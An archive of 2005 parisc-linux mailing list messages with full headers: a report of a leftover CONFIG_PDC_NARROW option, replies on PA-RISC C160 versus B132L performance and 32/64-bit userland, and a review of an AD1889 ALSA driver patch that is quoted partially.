Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZahwY6dFeSEkSL6WZHQhaXN1IGRvbwDf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23088

While investigating why I couldn't get a 64 bit kernel to boot on my
machine, I discovered that there is a holdout use of the old
CONFIG_PDC_NARROW config option.

It occurs in drivers/parisc/sba_iommu.c, line 108.

I'm not sure if this is in any way critical or not.

	Kurt.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Wed, 17 Aug 2005 00:19:13 -0600
Lines: 59
Approved: news@gmane.org
Message-ID: <20050817061913.GA8761@colo.lackof.org>
References: <4301B090.9040405@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623901 16446 80.91.229.3 (22 Nov 2014 02:38:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 06:13:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 17 Aug 2005 08:13:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C8457D74F;
	Wed, 17 Aug 2005 00:13:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14429-08; Wed, 17 Aug 2005 00:13:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F5C47D750;
	Wed, 17 Aug 2005 00:13:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 905667D74E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 00:13:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14266-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 00:13:47 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E5E797D74D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 00:13:46 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B56AD360069;
	Wed, 17 Aug 2005 00:19:14 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13571-03; Wed, 17 Aug 2005 00:19:13 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5CDE9360055; Wed, 17 Aug 2005 00:19:13 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4301B090.9040405@excelcia.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9LBwY3I2eSEkM76WZHQhaXN1IGRvbwBY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23089

On Tue, Aug 16, 2005 at 03:23:28AM -0600, Kurt Fitzner wrote:
> To my surprise, when it came to integer operations, the
> B132L outperforms the C160!

Thanks for posting the results...looks like fun!

....
> If you look at the individual results, in most areas the C160 performs
> about 20% better than the B132.  It's just that in a few areas, the C160
> has absolutely dismal performance.  Numeric sorting and the assignment
> algorithm were both notably slower on the C160.

Could these workloads be thrashing memory or cache?

Anyone know if the C160 has slower memory latency since the Memory
controller is on the MMU and not directly attached to the runway bus?

> With a clock speed 20% faster, I must admit that the C160's poor showing
> was a dissappointment.  I'm wondering if this is because there isn't a
> 64-bit userland yet.  Is stepping down to 32-bit on the C160 hurting its
> performance that badly?

It really depends on what the tests are doing.
Can you characterize the tests you care about better?

You might also investigate why NEURAL NET test is so much
faster on C160: 1.6905 (C160) vs 1.1334 (B132L) 
That's much more than clock speed difference.
I suspect it's a cache friendly algorithm.

> I suppose (assuming I'm correct about the reason for the performance
> drop) my options are to wait for 64-bit userland or to put HPUX on it.

HPUX has a very good parisc compiler. It's possible recent gcc is
approaching the acc performance in most cases, but *alot* of tuning
went into acc and PBO (Profile Based Optimization) is still the
easiest way to get nearly optimal performance for any program.

If performance on a C160 is that important, my advice is to dump
both boxes and buy any Pentium M (1.x Ghz) laptop :^). But that would
be boring... :^P


> Is there any way which someone can help the 64-bit userland effort who
> is quite strong in system-level programming in general though weak in
> Linux kernel programming specifically?  Is there a project web site for
> this effort?

Just this mailing list. Carlos O'Donell is occasionally hacking at it.
Sounds like you might be able to help him.

thanks again,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Wed, 17 Aug 2005 00:37:29 -0600
Lines: 65
Approved: news@gmane.org
Message-ID: <20050817063729.GB8761@colo.lackof.org>
References: <200508170132.j7H1W4Sq027309@hiauly1.hia.nrc.ca>
	<4302B277.40706@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623902 16448 80.91.229.3 (22 Nov 2014 02:38:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 06:32:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 17 Aug 2005 08:32:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B54727D6BC;
	Wed, 17 Aug 2005 00:32:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14845-09; Wed, 17 Aug 2005 00:32:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1A6D7D6BE;
	Wed, 17 Aug 2005 00:32:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2E667D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 00:32:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14756-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 00:32:04 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 2CAD57D6B7
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 00:32:04 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2E220360069;
	Wed, 17 Aug 2005 00:37:32 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14644-04; Wed, 17 Aug 2005 00:37:29 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 97A92360055; Wed, 17 Aug 2005 00:37:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4302B277.40706@excelcia.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ubxwY4wxeSEkd76WZHQhaXN1IGRvb0D4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23090

On Tue, Aug 16, 2005 at 09:43:51PM -0600, Kurt Fitzner wrote:
> > As far PA 2.0 versus 1.1, the main differences affecting 32-bit code
> > are some new branch instructions.  There are also some new FP instructions
> > but these are somewhat compromised by linker bugs.  In non floating-point
> > code, I would expect the PA 2.0 features to make their presence felt
> > in code with large functions.
> 
> Is there anything in PA 2.0 that you would expect to cause poorer
> performance in any circumstance when compared to PA 1.1?

No - PA2.0 HW will in general perform better.
I agree it's odd that it doesn't.
And it may not be true for HPUX acc compiler or other gcc versions.

> > 64-bit code isn't going to make your apps run faster.  There is more
> > overhead in data accesses in 64-bit code (i.e., they go through the DLT)
> > than in 32-bit apps.  Also, a lot more sign extensions are needed.  In
> > terms of a GCC build, the difference is about 15-20%.  The 64-bit tools
> > are less mature.  So generally, you only want to use 64-bit apps when
> > they can benefit from the larger address space.
> 
> I'm not strong on the PA architecture - I assumed on a 64 bit machine
> that the data bus would be 64 bits wide.

It's not. Compare "Runway" vs "GSC+" bus on URL below.

> Thus, I would have thought
> that 64-bit compiled apps on such a machine would run at least as fast
> as 32 bit ones, and be superior in some areas such as when they had to
> deal with 64 bit values like file offsets.  If less bit-width is better,
> shouldn't we all be going back to 6502? :)

No. What Dave didn't mention (but implied) was that data structures
get bigger (64 bit vs 32-bit for the same field) and thus require
more cachelines for the same data structure. Note that the CPU loads
*cachelines* from memory and not individual pointers or fields.
And thus must potentially load *more* cachelines when running 64-bit
mode than when running 32-bit (narrow) mode apps.

> In any case, if what I'm seeing isn't due to 32 vs 64 bit, then I am
> completely baffled by what I'm seeing.  Why would a C160 running at a
> 20% faster clock speed, having eight times the cache, and a design that
> should be superior in every sense run slower than B132L?

chipset was designed with different tradeoffs. C160 can take 1.5 or 2GB
of RAM. B132L maxes out at 768MB (and that might not even be supported).

> I'm not trying
> to blame my machine's poor performance on anyone, but I must admit that
> having read as much as I can on the C160 vs B132L that I can find no
> explanation in the hardware.

Try http://www.openpa.net/index.html
(That's the "The OpenPA Project" off the www.parisc-linux.org Nav Bar.)

The chipsets in the two boxes are very different.
It definitely a difference in the system, not just the CPU.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CONFIG_PDC_NARROW leftover in sba_iommu.c
Date: Wed, 17 Aug 2005 00:57:12 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20050817065712.GD8761@colo.lackof.org>
References: <4302CBAD.3010506@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623902 16450 80.91.229.3 (22 Nov 2014 02:38:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 06:51:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 17 Aug 2005 08:51:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5307D7D761;
	Wed, 17 Aug 2005 00:51:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15267-07; Wed, 17 Aug 2005 00:51:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFC5B7D762;
	Wed, 17 Aug 2005 00:51:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ACBB27D760
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 00:51:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15251-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 00:51:45 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 21A5A7D753
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 00:51:45 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 14C8F360069;
	Wed, 17 Aug 2005 00:57:13 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16411-07; Wed, 17 Aug 2005 00:57:12 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C5BD8360055; Wed, 17 Aug 2005 00:57:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4302CBAD.3010506@excelcia.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 27twY+Q3eSEkdr6WZHQhaXN1IGRvb8CU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23091

On Tue, Aug 16, 2005 at 11:31:25PM -0600, Kurt Fitzner wrote:
> While investigating why I couldn't get a 64 bit kernel to boot on my
> machine, I discovered that there is a holdout use of the old
> CONFIG_PDC_NARROW config option.
> 
> It occurs in drivers/parisc/sba_iommu.c, line 108.

Thanks for pointing that out. I'll see if I can clean that up.


> I'm not sure if this is in any way critical or not.

It's not. C160 will need ccio driver, not sba driver.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Wed, 17 Aug 2005 12:10:17 +0300
Lines: 193
Approved: news@gmane.org
Message-ID: <20050817101017.008D03658E8__49453.9881860421$1416623902$gmane$org@mail.esiee.fr>
References: <Pine.HPX.4.33n.0508111716090.21860-100000@studcom.urz.uni-halle.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623902 16452 80.91.229.3 (22 Nov 2014 02:38:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:22 +0000 (UTC)
Cc: kyle@parisc-linux.org,
 alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: Clemens Ladisch <clemens@ladisch.de>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 10:10:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 17 Aug 2005 12:10:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBE2C7D75D;
	Wed, 17 Aug 2005 04:10:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16205-06; Wed, 17 Aug 2005 04:10:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C3C7D7D753;
	Wed, 17 Aug 2005 04:10:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D97C07D72C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 04:10:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16047-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 04:10:03 -0600 (MDT)
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id E6DD47D669
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 04:10:02 -0600 (MDT)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP id DFF8E3658E9;
	Wed, 17 Aug 2005 12:10:22 +0200 (CEST)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 008D03658E8;
	Wed, 17 Aug 2005 12:10:17 +0200 (CEST)
User-Agent: IMHO/0.99 (Webmail for Roxen)
In-Reply-To: <Pine.HPX.4.33n.0508111716090.21860-100000@studcom.urz.uni-halle.de>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UmhxY94aeSEkM76WZHQhaXN1IGRvb0Cm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23092

Hi

quick reply from vacation as there are a few things i'd like to
comment upon.

Clemens Ladisch wrote:

> > I don't actually have this hardware :-), but the docs don't
mention
> > any dependency between the count registers (BC, CC) and the
interrupt
> > count registers (IC, IB).
> >
> > So wouldn't it be possible to put the ALSA buffer size into the
count
> > registers and the ALSA period size into the interrupt count
registers?

yes it would be possible, i believe.

> > This would make the interrupt handler much simpler, as it wouldn't
> > have to reprogram any registers.  And it would solve the problem
that
> > the DMA accesses for one period go beyond the buffer when the
number
> > of periods per buffer is not an integer.

correct, this was something i was planning on trying at some point,
thanks for beating me to it ;)

> ... something like this (please test):

your suggestion is good, but your patch does more than just
implementing, and there are a few things I'm not quite comfortable
with.

> Index: alsa/alsa-driver/pci/ad1889.h
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> --- alsa.orig/alsa-driver/pci/ad1889.h	2005-08-04 17:56:50.000000000
+0200
> +++ alsa/alsa-driver/pci/ad1889.h	2005-08-11 11:54:38.000000000
+0200
> @@ -172,13 +172,6 @@
>  #define AD_ADC_STATE	1
>  #define AD_MAX_STATES	2
>=20
> -/* "<ggg> T-Bone: parisc IOMMU can start DMA at any address.
> -   But the IOMMU can only map at page size granularity."
> -   This affects in particular .period_bytes_min */
> -#define BUF_SIZE        PAGE_SIZE
> -#define MAX_BUFS        32
> -#define DMA_SIZE	(MAX_BUFS*BUF_SIZE)

don't remove these defines please, i'd rather have every constants
defined in the header file. Personal taste... Besides, the comment is
very relevant to PA-RISC architecture, where no matter what the value
is, the minimum allocated space will always be at page size
granularity.


> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> --- alsa.orig/alsa-driver/pci/ad1889.c	2005-08-11 10:46:42.000000000
+0200
> +++ alsa/alsa-driver/pci/ad1889.c	2005-08-11 12:21:21.000000000
+0200
> @@ -87,15 +87,11 @@ MODULE_PARM_DESC(ac97_quirk, "AC'97 work
>  /* let's use the global sound debug interfaces */
>  #define ad1889_debug(fmt, arg...) snd_printd(KERN_DEBUG fmt, ##
arg)
>=20
> -/* keep track of each hw register */
> +/* keep track of some hw registers */
>  struct ad1889_register_state {
>  	u16 reg;	/* reg setup */
>  	u32 addr;	/* dma base address */
> -	u16 rate;	/* sample rate */
> -	unsigned long pos;	/* last recorded DMA buffer position */
> -	unsigned long buf;	/* period # */
>  	unsigned long size;	/* DMA buffer size */
> -	unsigned long count;	/* period size, aka nb bytes sent in the
current DMA transfer */
>  };
>=20
>  struct snd_ad1889 {
> @@ -118,13 +114,6 @@ struct snd_ad1889 {
>  	struct ad1889_register_state wave;
>  	struct ad1889_register_state ramc;
>=20
> -	struct {
> -		unsigned long wav_intr;
> -		unsigned long adc_intr;
> -		unsigned long syn_intr;
> -		unsigned long res_intr;
> -	} stats;
> -
>  	spinlock_t lock;
>  };

reading the patch through webmail doesn't help a lot getting a grasp
of its whole but i wonder if we could still find some debugging
purposes for these values. Remember this driver is work in progress ;)

> @@ -172,22 +161,46 @@ ad1889_mute(struct snd_ad1889 *chip)
>  }
>=20
>  static inline void
> -ad1889_load_adc_count(struct snd_ad1889 *chip, u32 count)
> +ad1889_load_adc_buffer_address(struct snd_ad1889 *chip, u32
address)
> +{
> +	ad1889_writel(chip, AD_DMA_ADCBA, address);
> +	ad1889_writel(chip, AD_DMA_ADCCA, address);
> +}
> +
> +static inline void
> +ad1889_load_adc_buffer_count(struct snd_ad1889 *chip, u32 count)
>  {
